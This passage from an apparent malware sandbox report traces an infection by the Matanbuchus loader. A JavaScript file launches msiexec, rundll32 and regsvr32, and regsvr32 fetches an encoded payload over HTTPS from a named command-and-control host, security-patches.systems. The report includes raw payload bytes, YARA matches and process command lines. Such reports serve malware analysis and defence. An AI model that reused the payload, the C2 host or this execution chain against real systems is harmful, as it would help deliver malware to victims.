2024-12-06 21:19:47 UTC	16384	IN	Data Raw: 67 63 69 64 61 4c 50 35 42 75 58 56 46 68 33 67 66 66 6b 4d 59 72 55 32 48 65 42 38 76 7a 0d 0a 61 39 75 72 34 6c 56 4b 76 43 32 65 75 46 4f 49 4d 55 67 33 65 4f 6c 32 72 65 4b 56 54 72 34 39 70 6f 70 56 59 56 56 4b 58 4b 6d 64 75 42 53 6c 56 68 6f 7a 38 54 66 7a 32 69 79 56 77 53 62 78 0d 0a 4e 34 2f 61 4a 4f 6e 4b 44 33 6f 58 4f 70 59 6b 6a 55 73 33 65 47 4c 59 56 71 59 51 6b 6a 64 34 59 6a 50 62 4c 49 33 43 65 6f 70 74 68 51 53 54 30 4a 68 43 4a 2b 6c 32 72 65 4b 56 54 72 34 39 0d 0a 32 6f 70 56 59 56 56 4b 58 4b 6d 64 75 42 54 5a 56 68 6f 7a 38 54 65 48 32 69 7a 68 77 53 62 78 4e 34 50 61 4a 4f 58 4b 44 33 6b 58 4f 70 59 6b 67 55 73 33 65 47 4c 59 56 71 59 51 6e 6a 64 34 0d 0a 59 6a 50 62 4c 49 48 43 65 6f 6c 74 68 51 53 51 30 4a 68 43 62 77 6f 79 51 Data Ascii: gcidaLP5BuXVFh3gffkMYrU2HeB8vza9ur4lVKvC2euFOIMUg3eOl2reKVTr49popVYVVKXKmduBSlVhoz8Tfz2iyVwSbxN4/aJOnKD3oXOpYkjUs3eGLYVqYQkjd4YjPbLI3CeopthQST0JhCJ+l2reKVTr492opVYVVKXKmduBTZVhoz8TeH2izhwSbxN4PaJOXKD3kXOpYkgUs3eGLYVqYQnjd4YjPbLIHCeolthQSQ0JhCbwoyQ
2024-12-06 21:19:47 UTC	16384	IN	Data Raw: 2f 77 50 66 71 33 31 57 6c 46 77 58 4c 67 0d 0a 34 66 4e 51 36 4e 41 6d 79 59 65 64 75 42 7a 35 33 31 75 2f 4c 64 2b 77 46 50 6c 55 79 6b 72 46 59 6b 61 2f 36 68 44 53 48 50 30 4f 7a 61 36 65 33 4d 39 66 68 70 33 4d 32 75 77 39 74 4d 69 48 0d 0a 36 37 34 31 6e 36 71 31 76 4f 30 47 7a 61 36 65 33 4e 39 58 68 70 33 4d 32 75 51 31 74 4d 69 48 4d 6c 76 56 35 56 31 61 75 76 56 4b 7a 36 36 65 76 57 30 38 68 35 33 31 46 4a 31 44 78 37 70 51 0d 0a 6e 73 79 75 4d 44 39 61 75 75 33 69 79 61 36 65 42 38 46 36 69 49 72 34 64 57 4a 56 77 37 49 6b 6e 4d 79 75 36 74 41 57 79 59 65 64 75 74 51 35 71 37 58 49 76 69 66 50 52 75 6f 59 75 72 53 35 0d 0a 49 72 68 41 36 4d 41 65 79 6f 65 64 75 42 42 6c 33 4d 39 76 68 5a 33 4d 32 69 68 64 77 37 6f 6b 6e 38 79 75 37 4d 41 65 79 Data Ascii: /wPfq31WlFwXLg4fNQ6NAmyYeduBz531u/Ld+wFPlUykrFYka/6hDSHP0Oza6e3M9fhp3M2uw9tMiH6741n6q1vO0Gza6e3N9Xhp3M2uQ1tMiHMlvV5V1auvVKz66evW08h531FJ1Dx7pQnsyuMD9auu3iya6eB8F6iIr4dWJVw7IknMyu6tAWyYedutQ5q7XIvifPRuoYurS5IrhA6MAeyoeduBBl3M9vhZ3M2ihdw7okn8yu7MAey
2024-12-06 21:19:47 UTC	16384	IN	Data Raw: 62 57 53 52 6b 31 70 62 64 53 43 4b 67 43 64 69 56 63 46 36 68 4f 70 79 4d 65 6f 51 74 72 79 64 50 2f 46 56 59 5a 6d 47 2b 37 51 33 75 4c 33 69 75 57 61 2b 4e 5a 36 34 46 47 6e 63 44 38 50 7a 0d 0a 4c 38 66 59 4c 49 48 42 59 6f 54 72 5a 71 48 71 45 4c 71 2b 50 5a 71 34 48 4a 6d 53 53 7a 64 34 59 6a 50 61 4e 4b 32 4e 64 58 78 69 4d 31 46 68 33 67 38 2f 38 32 71 36 48 49 33 65 48 39 76 78 0d 0a 4e 39 76 63 4a 4c 33 44 63 71 54 70 66 6c 6e 71 52 4d 45 31 38 53 66 58 32 69 79 78 77 33 71 59 37 32 61 78 36 41 43 53 76 44 32 2b 75 46 6b 77 33 68 2f 76 38 32 42 6a 32 69 79 70 6f 68 6d 62 0d 0a 6e 4d 7a 61 4a 4b 6e 42 30 69 57 67 4e 31 47 74 6d 59 62 37 74 44 65 34 76 65 4b 35 58 72 34 31 6e 72 67 55 6e 64 77 50 77 2f 4d 76 78 39 67 73 72 63 46 69 67 4b 55 78 55 Data Ascii: bWSRk1pbdSCKgCdiVcF6hOpyMeoQtrydP/FVYZmG+7Q3uL3iuWa+NZ64FGncD8PzL8fYLIHBYoTrZqHqELq+PZq4HJmSSzd4YjPaNK2NdXxiM1Fh3g8/82q6HI3eH9vxN9vcJL3DcqTpflnqRME18SfX2iyxw3qY72ax6ACSvD2+uFkw3h/v82Bj2iypohmbnMzaJKnB0iWgN1GtmYb7tDe4veK5Xr41nrgUndwPw/Mvx9gsrcFigKUxU
2024-12-06 21:19:47 UTC	16384	IN	Data Raw: 58 49 31 79 76 47 4d 7a 55 57 47 2b 54 66 41 39 70 6a 4e 52 59 56 58 41 63 72 79 4c 47 46 42 68 56 61 4d 54 65 57 49 7a 30 52 79 6d 54 45 49 35 0d 0a 34 6b 36 6a 5a 69 42 78 76 44 56 71 75 42 42 70 33 68 73 37 38 36 72 62 6d 77 5a 52 53 72 77 31 62 6c 56 65 54 78 52 43 71 49 36 6d 64 79 74 6f 6b 67 2f 33 65 57 49 7a 55 59 70 53 6a 58 4b 34 0d 0a 59 6a 4e 52 59 64 38 50 39 35 47 47 4d 31 46 68 76 4a 63 33 65 47 4b 7a 4c 4a 4a 53 50 33 54 34 48 38 46 58 46 47 6a 42 59 6e 54 70 65 56 6e 71 42 30 62 66 2f 51 55 33 55 65 6f 51 51 73 56 33 0d 0a 63 6e 74 5a 42 31 70 6b 2f 2b 65 55 39 78 55 62 58 49 31 79 78 47 4d 7a 55 57 47 2b 54 66 41 39 33 6a 4e 52 59 56 58 41 63 73 53 4c 71 46 46 68 56 61 4f 6a 65 47 49 7a 30 52 79 6d 54 45 49 39 0d 0a 34 6b 36 6a 5a 43 42 Data Ascii: XI1yvGMzUWG+TfA9pjNRYVXAcryLGFBhVaMTeWIz0RymTEI54k6jZiBxvDVquBBp3hs786rbmwZRSrw1blVeTxRCqI6mdytokg/3eWIzUYpSjXK4YjNRYd8P95GGM1FhvJc3eGKzLJJSP3T4H8FXFGjBYnTpeVnqB0bf/QU3UeoQQsV3cntZB1pk/+eU9xUbXI1yxGMzUWG+TfA93jNRYVXAcsSLqFFhVaOjeGIz0RymTEI94k6jZCB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49780	185.234.216.175	443	2500	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:20:44 UTC	117	OUT	GET /verif.aspx HTTP/1.1 User-Agent: Microsoft-WNS/11.0 Host: security-patches.systems Cache-Control: no-cache
2024-12-06 21:20:45 UTC	252	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Sat, 23 Nov 2024 15:29:11 GMT ETag: "d75c4-62796294faafa" Accept-Ranges: bytes Content-Length: 882116 Connection: close
2024-12-06 21:20:45 UTC	7940	IN	Data Raw: 4c 32 6e 42 59 56 5a 4b 4e 33 68 6d 4d 31 46 68 71 72 55 33 65 4e 6f 7a 55 57 46 56 53 6a 64 34 49 6a 4e 52 59 56 56 4b 4e 33 68 69 4d 31 46 68 56 55 6f 33 65 47 49 7a 55 57 46 56 53 6a 64 34 0d 0a 59 6a 4e 52 59 56 56 4b 4e 33 68 69 4d 31 46 68 58 55 73 33 65 47 77 73 36 32 39 56 2f 6a 36 31 51 34 74 51 4c 5a 68 72 59 78 41 4c 51 48 45 52 4a 79 56 51 43 67 4e 65 63 51 49 30 4a 46 6b 58 0d 0a 46 68 4d 7a 42 48 55 34 51 68 5a 43 57 6a 39 42 45 51 56 6b 57 41 39 63 4e 51 52 37 52 7a 70 79 52 6a 4e 52 59 56 56 4b 4e 33 68 48 2f 76 68 4f 4e 4f 62 77 42 41 4f 66 6c 68 30 30 35 76 41 45 0d 0a 30 4f 32 56 48 44 2f 6d 38 41 54 51 37 5a 4d 63 6c 65 62 77 42 41 55 65 6b 68 77 6b 35 76 41 45 42 52 36 56 48 43 48 6d 38 41 54 51 37 5a 49 63 49 75 62 77 42 41 55 65 6b Data Ascii: L2nBYVZKN3hmM1FhqrU3eNozUWFVSjd4IjNRYVVKN3hiM1FhVUo3eGIzUWFVSjd4YjNRYVVKN3hiM1FhXUs3eGws629V/j61Q4tQLZhrYxALQHERJyVQCgNecQI0JFkXFhMzBHU4QhZCWj9BEQVkWA9cNQR7RzpyRjNRYVVKN3hH/vhONObwBAOflh005vAE0O2VHD/m8ATQ7ZMclebwBAUekhwk5vAEBR6VHCHm8ATQ7ZIcIubwBAUek
2024-12-06 21:20:45 UTC	16384	IN	Data Raw: 2b 36 59 2f 32 69 79 70 6f 6c 46 35 59 54 50 61 4a 4b 6e 42 30 69 57 67 4e 31 47 74 6d 59 62 37 74 4b 37 2f 6e 61 32 5a 68 76 75 30 0d 0a 4e 37 69 39 34 72 6c 69 76 6a 57 65 41 4a 48 71 47 4c 61 2b 65 65 74 79 56 65 67 55 51 72 77 74 6e 76 51 54 5a 56 52 4b 4e 33 6a 70 64 71 32 6d 46 55 49 32 65 47 49 7a 32 69 79 70 6a 54 61 63 0d 0a 38 54 74 42 36 67 42 47 76 69 32 4b 75 42 52 70 33 41 2f 54 38 79 2f 50 30 71 42 5a 77 33 71 55 36 57 61 39 36 41 43 79 76 44 32 4b 75 68 53 42 33 67 66 54 38 53 2f 76 32 6a 53 31 77 54 58 78 0d 0a 4a 2b 76 61 4c 49 6e 42 4a 76 45 33 78 39 6f 6b 72 59 30 33 2f 42 51 37 51 65 6f 59 73 76 42 35 69 6b 56 5a 63 64 34 66 7a 2f 4d 6e 78 39 67 6a 55 63 6c 4b 6a 47 4a 47 57 4b 59 51 75 6a 64 34 0d 0a 59 6a 4f 36 61 4e 34 48 77 33 73 Data Ascii: +6Y/2iypolF5YTPaJKnB0iWgN1GtmYb7tK7/na2Zhvu0N7i94rlivjWeAJHqGLa+eetyVegUQrwtnvQTZVRKN3jpdq2mFUI2eGIz2iypjTac8TtB6gBGvi2KuBRp3A/T8y/P0qBZw3qU6Wa96ACyvD2KuhSB3gfT8S/v2jS1wTXxJ+vaLInBJvE3x9okrY03/BQ7QeoYsvB5ikVZcd4fz/Mnx9gjUclKjGJGWKYQujd4YjO6aN4Hw3s
2024-12-06 21:20:45 UTC	16384	IN	Data Raw: 36 51 43 30 4f 4d 34 6e 7a 64 53 68 49 52 48 77 50 62 6f 7a 55 57 46 56 77 58 70 6f 0d 0a 36 33 36 39 36 67 42 47 76 69 32 53 75 42 53 52 33 41 2f 37 38 79 2f 66 32 43 79 46 78 32 4b 30 36 32 61 78 70 68 43 65 4e 33 68 69 4d 39 6f 6b 64 63 4e 79 6e 4f 6c 2b 54 65 67 59 6f 72 77 74 0d 0a 69 72 6f 45 70 64 34 50 30 2f 45 6e 2b 39 77 73 6b 63 4e 36 70 4f 6c 6d 73 54 50 65 42 2b 75 51 52 67 35 51 59 62 78 64 79 49 65 64 75 42 52 70 33 67 63 72 38 7a 63 54 32 47 6e 63 47 6a 50 7a 0d 0a 4a 7a 76 61 68 41 69 4a 2b 37 53 75 2f 35 32 74 6d 59 62 37 74 44 65 34 76 54 79 57 68 76 75 30 72 76 2b 64 72 5a 6d 47 2b 37 51 33 75 4c 30 77 76 6b 4f 38 50 57 71 77 6b 58 48 63 44 7a 2f 7a 0d 0a 4c 7a 74 71 4c 46 6b 2b 41 50 4d 33 4f 39 67 30 71 63 46 36 68 49 6f 59 67 32 4e Data Ascii: 6QC0OM4nzdShIRHwPbozUWFVwXpo63696gBGvi2SuBSR3A/78y/f2CyFx2K062axphCeN3hiM9okdcNynOl+TegYorwtiroEpd4P0/En+9wskcN6pOlmsTPeB+uQRg5QYbxdyIeduBRp3gcr8zcT2GncGjPzJzvahAiJ+7Su/52tmYb7tDe4vTyWhvu0rv+drZmG+7Q3uL0wvkO8PWqwkXHcDz/zLztqLFk+APM3O9g0qcF6hIoYg2N
2024-12-06 21:20:45 UTC	16384	IN	Data Raw: 61 4f 75 6d 51 5a 36 71 74 62 37 39 0d 0a 64 73 79 75 6e 72 35 44 76 44 58 36 73 4c 68 67 33 41 65 76 2b 78 2b 72 55 52 64 4c 78 36 4a 6f 6e 63 79 75 36 4d 44 36 79 59 65 64 50 4f 63 6b 54 52 71 38 39 64 4c 4e 72 70 36 39 64 53 5a 35 0d 0a 59 74 69 43 36 74 68 61 79 49 65 64 75 4d 52 31 71 72 58 49 38 65 39 37 72 35 36 71 77 36 49 30 6e 4d 79 75 36 74 41 43 79 59 65 64 75 4e 77 74 71 37 58 49 38 53 63 2f 32 43 78 46 6a 58 4b 67 0d 0a 59 6a 4e 52 59 62 79 78 4e 33 68 69 76 73 52 42 71 37 58 49 38 54 65 6e 32 69 54 42 77 37 4a 41 6e 63 79 75 36 68 6a 65 74 41 46 32 50 43 64 74 6b 73 38 4c 68 35 33 4d 55 47 46 56 53 74 78 79 0d 0a 70 62 5a 74 6e 71 71 31 4e 33 68 69 4d 39 76 30 61 62 58 49 68 2b 70 6d 75 57 37 6a 44 39 2f 39 6f 6b 64 47 36 68 6a 65 76 47 6e Data Ascii: aOumQZ6qtb79dsyunr5DvDX6sLhg3Aev+x+rURdLx6Joncyu6MD6yYedPOckTRq89dLNrp69dSZ5YtiC6thayIeduMR1qrXI8e97r56qw6I0nMyu6tACyYeduNwtq7XI8Sc/2CxFjXKgYjNRYbyxN3hivsRBq7XI8Ten2iTBw7JAncyu6hjetAF2PCdtks8Lh53MUGFVStxypbZtnqq1N3hiM9v0abXIh+pmuW7jD9/9okdG6hjevGn
2024-12-06 21:20:45 UTC	16384	IN	Data Raw: 67 55 74 64 35 43 76 6a 4a 6d 39 42 53 64 56 55 6f 33 65 4f 6c 6d 57 65 67 41 68 72 77 39 7a 72 6f 55 73 64 34 48 35 2f 45 76 39 39 6f 30 6d 63 4e 69 6b 4f 6c 32 75 65 67 51 67 72 77 31 0d 0a 71 72 6f 63 30 64 67 66 78 53 72 70 64 72 6b 78 33 67 66 7a 6b 49 35 4f 72 70 34 2f 53 72 6f 31 79 6d 4b 35 6b 4e 32 31 79 50 75 6d 4f 31 37 58 68 63 2f 6c 44 58 56 62 52 31 31 56 53 6c 2b 49 0d 0a 46 44 74 42 43 65 33 47 50 32 69 4b 38 32 64 6e 56 63 6e 7a 64 4b 56 32 6b 57 46 56 53 6a 66 31 4c 35 2f 59 4c 4c 48 42 59 70 7a 70 4d 64 67 6b 36 63 46 36 6e 4f 6c 6d 6b 65 68 45 77 58 4c 45 0d 0a 36 33 62 70 36 68 6a 79 76 6a 58 57 39 42 53 64 71 72 58 49 68 2b 39 2b 2b 59 6d 64 6b 7a 64 34 36 58 62 6c 36 68 69 2b 55 2f 46 76 4d 31 46 68 56 63 48 53 4a 61 48 2f 6e 61 32 Data Ascii: gUtd5CvjJm9BSdVUo3eOlmWegAhrw9zroUsd4H5/Ev99o0mcNikOl2uegQgrw1qroc0dgfxSrpdrkx3gfzkI5Orp4/Sro1ymK5kN21yPumO17Xhc/lDXVbR11VSl+IFDtBCe3GP2iK82dnVcnzdKV2kWFVSjf1L5/YLLHBYpzpMdgk6cF6nOlmkehEwXLE63bp6hjyvjXW9BSdqrXIh+9++Ymdkzd46Xbl6hi+U/FvM1FhVcHSJaH/na2
2024-12-06 21:20:45 UTC	16384	IN	Data Raw: 58 49 68 2b 48 66 51 65 71 5a 77 35 4b 34 6e 4d 79 75 36 73 41 36 79 49 65 64 59 62 6b 34 4a 30 6f 33 38 79 66 44 32 6d 6d 39 4e 59 56 34 0d 0a 59 76 55 55 69 46 54 42 65 6f 6a 70 49 74 6a 30 50 62 58 49 68 2b 39 32 75 4f 6a 51 4a 73 69 48 6e 62 67 63 61 64 37 66 57 34 65 64 7a 4e 74 6a 33 55 75 36 39 51 72 4d 72 70 37 63 78 31 4f 48 0d 0a 6e 63 7a 61 4e 46 33 42 73 68 79 64 7a 4b 37 71 58 63 4e 39 66 4b 56 32 72 5a 36 71 74 63 6a 31 4c 2f 2b 35 73 42 4e 49 4e 33 66 55 5a 70 30 7a 32 41 66 6a 6b 43 61 34 55 32 48 65 44 7a 2b 52 0d 0a 69 44 64 52 59 64 34 50 78 2f 75 69 4e 39 6a 6b 4e 62 58 49 68 39 73 33 55 57 46 56 49 65 61 48 36 62 59 78 6e 71 71 31 4e 43 68 6d 75 73 51 39 71 72 58 49 38 2b 39 76 72 70 36 71 79 51 35 34 0d 0a 46 31 47 58 4a 4c 31 4b 38 Data Ascii: XIh+HfQeqZw5K4nMyu6sA6yIedYbk4J0o38yfD2mm9NYV4YvUUiFTBeojpItj0PbXIh+92uOjQJsiHnbgcad7fW4edzNtj3Uu69QrMrp7cx1OHnczaNF3BshydzK7qXcN9fKV2rZ6qtcj1L/+5sBNIN3fUZp0z2AfjkCa4U2HeDz+RiDdRYd4Px/uiN9jkNbXIh9s3UWFVIeaH6bYxnqq1NChmusQ9qrXI8+9vrp6qyQ54F1GXJL1K8
2024-12-06 21:20:45 UTC	16384	IN	Data Raw: 67 63 69 64 61 4c 50 35 42 75 58 56 46 68 33 67 66 66 6b 4d 59 72 55 32 48 65 42 38 76 7a 0d 0a 61 39 75 72 34 6c 56 4b 76 43 32 65 75 46 4f 49 4d 55 67 33 65 4f 6c 32 72 65 4b 56 54 72 34 39 70 6f 70 56 59 56 56 4b 58 4b 6d 64 75 42 53 6c 56 68 6f 7a 38 54 66 7a 32 69 79 56 77 53 62 78 0d 0a 4e 34 2f 61 4a 4f 6e 4b 44 33 6f 58 4f 70 59 6b 6a 55 73 33 65 47 4c 59 56 71 59 51 6b 6a 64 34 59 6a 50 62 4c 49 33 43 65 6f 70 74 68 51 53 54 30 4a 68 43 4a 2b 6c 32 72 65 4b 56 54 72 34 39 0d 0a 32 6f 70 56 59 56 56 4b 58 4b 6d 64 75 42 54 5a 56 68 6f 7a 38 54 65 48 32 69 7a 68 77 53 62 78 4e 34 50 61 4a 4f 58 4b 44 33 6b 58 4f 70 59 6b 67 55 73 33 65 47 4c 59 56 71 59 51 6e 6a 64 34 0d 0a 59 6a 50 62 4c 49 48 43 65 6f 6c 74 68 51 53 51 30 4a 68 43 62 77 6f 79 51 Data Ascii: gcidaLP5BuXVFh3gffkMYrU2HeB8vza9ur4lVKvC2euFOIMUg3eOl2reKVTr49popVYVVKXKmduBSlVhoz8Tfz2iyVwSbxN4/aJOnKD3oXOpYkjUs3eGLYVqYQkjd4YjPbLI3CeopthQST0JhCJ+l2reKVTr492opVYVVKXKmduBTZVhoz8TeH2izhwSbxN4PaJOXKD3kXOpYkgUs3eGLYVqYQnjd4YjPbLIHCeolthQSQ0JhCbwoyQ
2024-12-06 21:20:45 UTC	16384	IN	Data Raw: 2f 77 50 66 71 33 31 57 6c 46 77 58 4c 67 0d 0a 34 66 4e 51 36 4e 41 6d 79 59 65 64 75 42 7a 35 33 31 75 2f 4c 64 2b 77 46 50 6c 55 79 6b 72 46 59 6b 61 2f 36 68 44 53 48 50 30 4f 7a 61 36 65 33 4d 39 66 68 70 33 4d 32 75 77 39 74 4d 69 48 0d 0a 36 37 34 31 6e 36 71 31 76 4f 30 47 7a 61 36 65 33 4e 39 58 68 70 33 4d 32 75 51 31 74 4d 69 48 4d 6c 76 56 35 56 31 61 75 76 56 4b 7a 36 36 65 76 57 30 38 68 35 33 31 46 4a 31 44 78 37 70 51 0d 0a 6e 73 79 75 4d 44 39 61 75 75 33 69 79 61 36 65 42 38 46 36 69 49 72 34 64 57 4a 56 77 37 49 6b 6e 4d 79 75 36 74 41 57 79 59 65 64 75 74 51 35 71 37 58 49 76 69 66 50 52 75 6f 59 75 72 53 35 0d 0a 49 72 68 41 36 4d 41 65 79 6f 65 64 75 42 42 6c 33 4d 39 76 68 5a 33 4d 32 69 68 64 77 37 6f 6b 6e 38 79 75 37 4d 41 65 79 Data Ascii: /wPfq31WlFwXLg4fNQ6NAmyYeduBz531u/Ld+wFPlUykrFYka/6hDSHP0Oza6e3M9fhp3M2uw9tMiH6741n6q1vO0Gza6e3N9Xhp3M2uQ1tMiHMlvV5V1auvVKz66evW08h531FJ1Dx7pQnsyuMD9auu3iya6eB8F6iIr4dWJVw7IknMyu6tAWyYedutQ5q7XIvifPRuoYurS5IrhA6MAeyoeduBBl3M9vhZ3M2ihdw7okn8yu7MAey
2024-12-06 21:20:45 UTC	16384	IN	Data Raw: 62 57 53 52 6b 31 70 62 64 53 43 4b 67 43 64 69 56 63 46 36 68 4f 70 79 4d 65 6f 51 74 72 79 64 50 2f 46 56 59 5a 6d 47 2b 37 51 33 75 4c 33 69 75 57 61 2b 4e 5a 36 34 46 47 6e 63 44 38 50 7a 0d 0a 4c 38 66 59 4c 49 48 42 59 6f 54 72 5a 71 48 71 45 4c 71 2b 50 5a 71 34 48 4a 6d 53 53 7a 64 34 59 6a 50 61 4e 4b 32 4e 64 58 78 69 4d 31 46 68 33 67 38 2f 38 32 71 36 48 49 33 65 48 39 76 78 0d 0a 4e 39 76 63 4a 4c 33 44 63 71 54 70 66 6c 6e 71 52 4d 45 31 38 53 66 58 32 69 79 78 77 33 71 59 37 32 61 78 36 41 43 53 76 44 32 2b 75 46 6b 77 33 68 2f 76 38 32 42 6a 32 69 79 70 6f 68 6d 62 0d 0a 6e 4d 7a 61 4a 4b 6e 42 30 69 57 67 4e 31 47 74 6d 59 62 37 74 44 65 34 76 65 4b 35 58 72 34 31 6e 72 67 55 6e 64 77 50 77 2f 4d 76 78 39 67 73 72 63 46 69 67 4b 55 78 55 Data Ascii: bWSRk1pbdSCKgCdiVcF6hOpyMeoQtrydP/FVYZmG+7Q3uL3iuWa+NZ64FGncD8PzL8fYLIHBYoTrZqHqELq+PZq4HJmSSzd4YjPaNK2NdXxiM1Fh3g8/82q6HI3eH9vxN9vcJL3DcqTpflnqRME18SfX2iyxw3qY72ax6ACSvD2+uFkw3h/v82Bj2iypohmbnMzaJKnB0iWgN1GtmYb7tDe4veK5Xr41nrgUndwPw/Mvx9gsrcFigKUxU
2024-12-06 21:20:45 UTC	16384	IN	Data Raw: 58 49 31 79 76 47 4d 7a 55 57 47 2b 54 66 41 39 70 6a 4e 52 59 56 58 41 63 72 79 4c 47 46 42 68 56 61 4d 54 65 57 49 7a 30 52 79 6d 54 45 49 35 0d 0a 34 6b 36 6a 5a 69 42 78 76 44 56 71 75 42 42 70 33 68 73 37 38 36 72 62 6d 77 5a 52 53 72 77 31 62 6c 56 65 54 78 52 43 71 49 36 6d 64 79 74 6f 6b 67 2f 33 65 57 49 7a 55 59 70 53 6a 58 4b 34 0d 0a 59 6a 4e 52 59 64 38 50 39 35 47 47 4d 31 46 68 76 4a 63 33 65 47 4b 7a 4c 4a 4a 53 50 33 54 34 48 38 46 58 46 47 6a 42 59 6e 54 70 65 56 6e 71 42 30 62 66 2f 51 55 33 55 65 6f 51 51 73 56 33 0d 0a 63 6e 74 5a 42 31 70 6b 2f 2b 65 55 39 78 55 62 58 49 31 79 78 47 4d 7a 55 57 47 2b 54 66 41 39 33 6a 4e 52 59 56 58 41 63 73 53 4c 71 46 46 68 56 61 4f 6a 65 47 49 7a 30 52 79 6d 54 45 49 39 0d 0a 34 6b 36 6a 5a 43 42 Data Ascii: XI1yvGMzUWG+TfA9pjNRYVXAcryLGFBhVaMTeWIz0RymTEI54k6jZiBxvDVquBBp3hs786rbmwZRSrw1blVeTxRCqI6mdytokg/3eWIzUYpSjXK4YjNRYd8P95GGM1FhvJc3eGKzLJJSP3T4H8FXFGjBYnTpeVnqB0bf/QU3UeoQQsV3cntZB1pk/+eU9xUbXI1yxGMzUWG+TfA93jNRYVXAcsSLqFFhVaOjeGIz0RymTEI94k6jZCB

Target ID:	0
Start time:	16:19:34
Start date:	06/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Doc_21-04-53.js"
Imagebase:	0x7ff6c1a50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	16:19:34
Start date:	06/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6839d0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	2
Start time:	16:19:38
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding B05575DDF7F0D21FAECF0BEEF6387BEE
Imagebase:	0x450000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	16:19:38
Start date:	06/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:/Windows/System32/rundll32.exe libcurl.dll, curl_easy_init
Imagebase:	0x7ff7e8070000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	16:19:38
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:/Windows/System32/rundll32.exe libcurl.dll, curl_easy_init
Imagebase:	0xb90000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Matanbuchus, Description: Yara detected Matanbuchus, Source: 00000004.00000002.2943950120.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Matanbuchus_4ce9affb, Description: unknown, Source: 00000004.00000002.2944220363.0000000005464000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Matanbuchus_58a61aaa, Description: unknown, Source: 00000004.00000002.2944220363.0000000005464000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Matanbuchus, Description: Yara detected Matanbuchus, Source: 00000004.00000002.2944640918.000000007F290000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Matanbuchus_4ce9affb, Description: unknown, Source: 00000004.00000002.2944640918.000000007F290000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Matanbuchus_58a61aaa, Description: unknown, Source: 00000004.00000002.2944640918.000000007F290000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	16:19:43
Start date:	06/12/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Imagebase:	0x7ff634c10000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	16:19:43
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Imagebase:	0x90000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Matanbuchus, Description: Yara detected Matanbuchus, Source: 00000006.00000002.2016135931.000000007F6D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Matanbuchus_4ce9affb, Description: unknown, Source: 00000006.00000002.2016135931.000000007F6D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Matanbuchus_58a61aaa, Description: unknown, Source: 00000006.00000002.2016135931.000000007F6D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Matanbuchus_4ce9affb, Description: unknown, Source: 00000006.00000002.2015787150.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Matanbuchus_58a61aaa, Description: unknown, Source: 00000006.00000002.2015787150.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	16:19:59
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
